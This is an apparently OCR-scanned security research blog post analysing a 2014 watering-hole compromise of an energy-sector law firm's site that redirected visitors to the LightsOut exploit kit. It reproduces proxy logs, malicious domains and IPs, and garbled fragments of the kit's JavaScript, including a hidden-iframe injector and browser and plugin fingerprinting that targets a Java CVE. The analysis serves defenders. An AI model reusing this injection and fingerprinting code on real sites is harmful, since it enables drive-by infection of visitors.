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Late last year, the story broke that threat actors were targeting the energy sector with Remote Access Tools and
Intelligence gathering malware. It would seem that the attackers responsible for this threat are back for more.
This particular APT struck late February between 2/24-2/26. The attack began as a compromise of a third party
law firm which includes an energy law practice known as Thirty Nine Essex Street LLP (www[.]39essex[.]com).

The victim site is no longer compromised, but viewers should show restraint and better browsing practices when

visiting.

timestamp serverip requestsize responsesize httpresponse httprequest urlname referraluriname filetypename
2014-02-24 14:30:57  80.242.147 107 666 7562 200 GET swissitaly com/modules/mod_jabulletin/elements/stridxd php www_39essex.com/ gz
2014-02-24 14:31:51 80.242.147.107 634 75962 200 GET swissitaly.com/modules/mod_jabulletin/elements/stridxd.php www.39essex.com/ gz
2014-02-24 15:18:35 80.242 147 107 733 7562 200 GET swissitaly.com/modules/mod_jabulletin/elements/stridxd.php www_39essex.com/ gz
2014-02-24 15:44:03 80.242.147 107 726 7562 200 GET swissitaly.com/modules/mod_jabulletin/elements/stridxd.php www.39essex.com/ gz
2014-02-24 15:44:23 80.242.147.107 751 75962 200 GET swissitaly.com/modules/mod_jabulletin/elements/stridxd.php www.39essex.com/ gz
2014-02-24 17-32:29 80.242.147 107 422 7562 200 GET swissitaly. com/modules/mod_jabulletin/elements/stridxd.php www_39essex.com/ gz
2014-02-25 09:16:35 80.242.147 107 712 7562 200 GET swissitaly.com/modules/mod_jabulletin/elements/stridxd.php www.39essex.com/ gz
2014-02-25 10:19:22 80.242.147.107 817 32547 200 GET swissitaly.com/modules/mod_jabulletin/elements/stridxd.php www.39essex.com/ html
2014-02-25 10-:20-46 80.242.147 107 517 31179 200 GET swissitaly com/modules/mod_jabulletin/elements/stridxd php www_39essex com/ html
2014-02-25 10:25:44 80.242.147.107 422 75962 200 GET swissitaly.com/modules/mod_jabulletin/elements/stridxd.php www.39essex.com/ gz
2014-02-25 10:25:54 §0.242.147.107 448 7561 200 GET swissitaly.com/modules/mod_jabulletin/elements/stridxd.php www.39essex.com/ gz
2014-02-25 10-28:02 80.242 147 107 43 7562 200 GET swissitaly com/modules/mod_jabulletin/elements/stridxd php www.39essex com/index php gz
2014-02-25 10:29:21 80.242.147.107 431 75962 200 GET swissitaly.com/modules/mod_jabulletin/elements/stridxd.php www.39essex.com/index.php gz
2014-02-25 11:29:59 80.242.147 107 358 7562 200 GET swissitaly. com/modules/mod_jabulletin/elements/stridxd.php www_39essex.com/ gz
2014-02-26 15:12:04 80.242.147 107 751 7562 200 GET swissitaly.com/modules/mod_jabulletin/elements/stridxd.php www.39essex.com/ gz
2014-02-26 16:29:31 80.242.147.107 41 75962 200 GET swissitaly.com/modules/mod_jabulletin/elements/stridxd.php www.39%essex.com/ gz

39essex.com shown as a referral URL to suspicious site.

The compromise leads the victim to another site which provides the attacker with a specific user-agent in the URL
field. The purpose of this is to pass along diagnostics to the attacker so that the proper malicious package is sent
to the victim. This should be taken as a point of identification in administrator logs as this may indicate an attack

on your network.

# Resut  Protocol Host LRL Body Caching|| (8 Statistics 4 Inspectors | # autoResponcer | # Composer | 5y Fiddiersaript | [ Fiters | (£ Log | = Timeine

a8 Tur Headers | TextView | SyntaxView | WebForms | HexView | Auth | Cookies | Raw | JSON | XML

B2 1

@3 doocyljawe [ 512 no-cac.d |GET /modules/mod_jabulletin//elements./stridxd php ?a=h1=15515bc5d857885¢8c8234370.96 1 1688Au=Mozila/4.0%2Dicompatible; %:20M

@4 fhsgerkauk  / 512 nocacd ' Client

@s TS | 512 no-cac. Accept: text/himi, application/xhtml-+xml,application m;a=0.,mage/webp, */%;a=0.8

=1 200 HTTP Tumnel to = 3 771 AcceptEncoding: gzip,defiate,sdch

457 200 HTTP swissitaly.com fmodules/mod_jabulletin/elements stridxd.php?a=h18f=15515b... 35,936 Accept-Language: en-US,en;q=0.8

%8 200  HTTP swissitaly.com  fmodules/mod_jabulletin/elements/stridxd.php?a=h7 170 User-Agent: Mozila/5.0 (windows NT 5. 1) AppleWeblit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36

Ao 404 HTTP swissitaly.com /favicon.ico 372 Transport

LS50} 200  HTTP swissitaly.com  fmodules/mod_jabulletin/elements/stridxd.php?a=r7 0 Connection: keep-alive

S ST W ST S A T R 2 Transformer | Headers | TextView || SyntaxView | ImageView | HexView | Webview | Auth | Caching | Cookies

¢¥12 200 HTP swissitaly.com fmodules/mod _jabulletin/elements strid:d. php? bl

%13 0 HTTP swissitaly.com /modules/mod_jabulletin/elements/stridxd.phpZa=r7 0 o | =l

%14 200 HTP swissitaly.com fmodules/mod_jabuletin/slements/stridxd. php?a=r7 20 =¥ [< 5){CnEXDBgq();}if (1IQIWTv[0] = 10 && 1TQIWTv([1] = 1){icazOgHm();}/*else{GnEXDBaq(];}* ~

4%1s 200 HTP sissitaly.com jmodules/mod_jabulletin/elements/stridxd. php?a=r7 n £0 | /)}function GaupRlCql) { SzVedmMiZah('/modules/mod jsbulletin/elements/stridud php?a=hs’ '

Ats a4 HTTR swissitaly.com Jmodules/mod_jabulletin/elements/HzDS7Rd]. dass 624 =¥ |, "text/html’); }function elyErlajFCE(){ver 3 = BHpes Lz 3 i=

A w4 wTT swissitaly.com modues/mod_jabulletin/elements/HzDSZRA)/class lass 624 ]| D (EK] (EEETRR) & PR Ry § SO S e (e (i
=0 |\.[\d]+/) [1]1);}cacch (BuoOjyvERKE) { return null;}}if (MmJddngrOpj ') {try

=P |return parseFloat(jFLgDyuuGs match(/firefox\s ([\d1+)\.[\d]+/) [11); }catch (BroOjyvERKH) {
=P |return null;}}}revurn null;}function XWQExdU() { return; }functicn GnEXDBgqQ() { return;

59 | }functien GOPbrTZSE (xW y) {var E = PluginDetect_getVersion (xfxxnAy) ;i

=P |ERvaNQeAop !'= null) {return CBqGxEA(ERvaNQcRop);}else{return null;}}function udODNx({){
B var QcHRpr = KLimRj();var rHnrYsDf
=2 of == 'msie’ s& BRLY 8 &8

=P |QcHEpr < 6) {NVEDhBEU();var CNpXn = kjCh
=P | yPeyMWlHHue (CNpXn); }, 3000);}return;

=P | {GaupRlCq();var CNpXn = kjCBQGOR();
=P |CNpXn); }, 3000);}return;}if(GaiE0BoX = "msie’

pXn 1= null) {sesTimeous
s BRLQT = QcHApx < &)
nction() { yPeyMWNWiHue (
GeHRpr < &) {VQOeYrR();

=P |var CNpXn = kjCbgBOP({);if(CHpXn != null){setTimeout yPe yMANHHU

=P |3000);}return; jvar CNpEn = kjCbq@OP();if (CNpKn != null && QcHApr != null){

=9 | 'chrome'){WCxmQqUsnx (CNpXn);}else{yPeyMWNWHue (CNpXn) ; }}}function rfBJVAxyCc

=P |SzVedmMiZah('/modules/mod_jabulletin/elements/stridxd php?a=h3’, 'text/homl'); }

=P | function NVEDRBPU() { SzVedsMiZah{'/modules/mod jabulletin/elements/stridxd.php?a=hs’, °
=P |cext/html'); }var JFLDyUUSS = navigator.userAgent.toLowerCase () ;udODNI();</scripts</

9 | bodys</homis
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At the time of research, the Java Class file was returning 404.

There are several other locations which show similar activity that are also related to this threat. Malicious
redirects come from IP address 174[.]129[.]210[.]212 should also be taken as suspicious as well as some sites

hosted on this domain (aptguide[.]3dtour[.]Jcom).

The URLquery and VirusTotal entries for this IP corroborates the notion that this location played a part in using
LightsOut Exploit Kit.

LightsOut performs several diagnostic checks on the victim's machine to make sure that it can be exploited. This

includes checking the browser and plugin versions.

- - T A

return "firefox":
return null;

function QfGnbgBu () {

if (jFLgDyuuGS.indexCf ("wowed™) !'= -1) {
return "64";
} else {

return "32";
function pderPFg() {
SzVeodmMiZah ("/modules/mod_jabulletin/elements/gtrided.php?a=h2", "text/html™);

function AEbFcu() {
SzVednMiZah ("/modules/mod jabulletin/elements/gfridzd.phpn?a=h7", "text/html"):

function kGDsJECA() {
return GOPbrTZS5r ("AdobeReader™) ;

function kjCbgGOP () {
return GOPbrTZSr ("Java™):

function FHyAJrUgJCU (1IQIWIv) {

if (1IQIWIv !'= null) {
¥ar kbuTlvHNEs = parseFloat (1IQIWTv[1] + ("." + 1IQIWIw[Z2]})])~-
if (IIQIWIw[D] == 9 &£& kKbuTlvNRs <= 3.4) {
XWQGxAUI () »
if (1IQIWIw[O] == 9 && kbuTlvNRs <= 4) {

GnEXDEggl() 2

The deobfuscated Javascript sheds some light on the iframe injection.
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function S5zVeodmMiZah (PuBtLeQXwBp, JFRVE) {
try {
¥ar HTomBh = dncument.createElementi";;;gma"];
HTnmEBh.type = JFhVk:
HTnmBh .=style.vi=sibility = "hidden™;
HInmBh.width = 1;
HTnmBh .height = 1;
HTmnmBh.grg = PuBtLoQXwBD;
HTnmBh.asyng = true;
document .body.appendChild (HTnmEBh) ;
catch (BxoQjyvERXH) {

return null;

function VILwSJpdrT () {

if (jFLgDyuuGsS.indexCf ("mzie™) '= -1 &&
-1 &&
-1} A

JFLgDyuuis . indexCf ("opera™)
JFLgDyuuGs . index0f ("webhiLy™)
return "msig":

if (jFLgDyuui5.indexCf ("opera™) !'= -1} {
return "opera®™;

if (jFLgDyvuuGS.indexOf ("firefox"™) !'= -1} {
return "firefox";

return null:;

More JS Deobfuscation

function ()} §{
war d = this, c = d.§, a = d.$%, £, e, b = null;
if (d.isDisabled()) {
return d;

f = "Adobe.*PDF.*Plug-7?in|Adobe.*Acrobat.*Plug-?in|Adobe.*Reader.*Plug-?in";

e = g,findNavPlugin(f, 0):

d.detected = & ? 1 : -1;

if (e} {
b = c.getHum(e.description) || c.getNum(e.name);
b = c.getPluginFileVersion(e, b):
if ('b) {

b = d.attempt3():

if (b) {
d.version = b:

return d;

e fAnt fToterramatar/Menhfrscatarfdaramiena /5420481 0ANTO2 4N FAR4ACTARIhTF4rea himl 1

Checking to see what version of Adobe is installed.

Page 3 of 5


https://www.zscaler.com/sites/default/files/images/blogs/-b0S06nGGvH0/UyDt2zn3S1I/AAAAAAAAAcg/Itct2ssvJpE/s1600/iframe1.png
https://www.zscaler.com/sites/default/files/images/blogs/-b0S06nGGvH0/UyDt2zn3S1I/AAAAAAAAAcg/Itct2ssvJpE/s1600/iframe1.png
https://www.zscaler.com/sites/default/files/images/blogs/-1sKC6fDZUH0/UxkxICyWchI/AAAAAAAAAbI/TUZYHdaYoPc/s1600/isadobe.png
https://www.zscaler.com/sites/default/files/images/blogs/-1sKC6fDZUH0/UxkxICyWchI/AAAAAAAAAbI/TUZYHdaYoPc/s1600/isadobe.png

https://www.zscaler.com /blogs/research/lightsout-ek-targets-energy-sector

function () {

¥ar a = this, b = a.§;
return b.ActiveXEnabled && b.isIE && b.verlE >= 7 ? 0 : 1;

Checking to see if you are IE7.

N, [EFEIFEPE I - T vy e w LA e e

g=4g || b.version0;
f = a.isRange (d):
if (f) |
if (a.setBRange(f, h) == d) {
o = f;
d = 0;

if (b.OTF < 3) {

b.installed = c ? ¢ >0 2 0.7 @ -0.1 : d 2?1 : g ? -0.2 : -1;
if (b.OTF == 2 && b.NOTF && 'b.applet.getResult() [0]) {
b.installed = g ? -0.2 : -1;
if (b.0OTF == 2 && b.installed '= -0.5 &£& b.in=stalled '= 0.5} {
b.installed = b.HOTF.isdavahctive(l) =— 1 ? 0.5 —0.5;
}
if (b.OTF == 4 && (b.installed = -0.5 || b.installed == 0.5}) {
if (d) {
b.installed = 1;
else {
if (e} {1
b.in=ztalled = c > 0 ? 0.7 : -0.1;
else {
if (b.HNOTF.isJavalctive (1) == 1) {
if (g) {
b.installed = 1;
d = g;
gelse {

b.in=stalled

1
=]
e

Checking to see if Java is enabled in the browser.

Ultimately, a payload is delivered from the LightsOut Exploit kit, which attempts to drop a malicious JAR file

exploiting CVE-2013-2465. At the time of research, the binary file was no longer available, which suggests that

the attack window has now closed for this particular watering hole. However, other security sources tell us that

the site used in the attack is also a known HAVEX RAT CnC.

The recent activity of this threat originating from a site in the energy sector should serve as a warning to those in

the targeted industry. Prior research from other sources tells us that the threat actors involved are highly

motivated and agile. Their motive is to gather intelligence for further attacks, so be on your guard and monitor

transaction logs for suspicious activity!

Explore more Zscaler blogs
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